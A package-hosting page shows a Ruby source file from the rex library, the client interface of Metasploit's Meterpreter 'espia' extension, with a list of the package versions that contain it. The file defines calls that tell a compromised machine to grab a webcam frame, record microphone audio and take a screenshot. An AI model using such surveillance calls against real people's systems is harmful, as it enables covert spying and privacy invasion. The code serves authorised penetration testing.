Sha256: 30b76c0d3c3f93d2d016eda6af886973f3a858b5b9ff01964775e1d47b4880d7

Contents?: true

Size: 1.14 KB

Versions: 15

Compression:

Stored size: 1.14 KB

Contents

# -*- coding: binary -*-

require 'rex/post/meterpreter/extensions/espia/tlv'

module Rex
module Post
module Meterpreter
module Extensions
module Espia

###
#
# This meterpreter extensions interface that is capable
# grab webcam frame and recor mic audio
#
###
class Espia < Extension


  def initialize(client)
    super(client, 'espia')

    client.register_extension_aliases(
      [
        {
          'name' => 'espia',
          'ext'  => self
        },
      ])
  end

  def espia_video_get_dev_image()
    request = Packet.create_request('espia_video_get_dev_image')
    response = client.send_request(request)

    return true
  end

  def espia_audio_get_dev_audio(rsecs)
    request = Packet.create_request('espia_audio_get_dev_audio')
    request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
    response = client.send_request(request)

    return true
  end

  def espia_image_get_dev_screen
    request  = Packet.create_request( 'espia_image_get_dev_screen' )
    response = client.send_request( request )
    if( response.result == 0 )
      return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
    end
    return nil
  end

end

end; end; end; end; end

Version data entries

15 entries across 15 versions & 3 rubygems

Version Path
rex-2.0.13 lib/rex/post/meterpreter/extensions/espia/espia.rb
rex-2.0.12 lib/rex/post/meterpreter/extensions/espia/espia.rb
rex-2.0.11 lib/rex/post/meterpreter/extensions/espia/espia.rb
rex-2.0.10 lib/rex/post/meterpreter/extensions/espia/espia.rb
rex-2.0.9 lib/rex/post/meterpreter/extensions/espia/espia.rb
rex-2.0.8 lib/rex/post/meterpreter/extensions/espia/espia.rb
rex-2.0.7 lib/rex/post/meterpreter/extensions/espia/espia.rb
rex-2.0.5 lib/rex/post/meterpreter/extensions/espia/espia.rb
rex-2.0.4 lib/rex/post/meterpreter/extensions/espia/espia.rb
dstruct-0.0.1 lib/rex/post/meterpreter/extensions/espia/espia.rb
rex-2.0.3 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.999 lib/rex/post/meterpreter/extensions/espia/espia.rb
rex-2.0.2 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.71 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.70 lib/rex/post/meterpreter/extensions/espia/espia.rb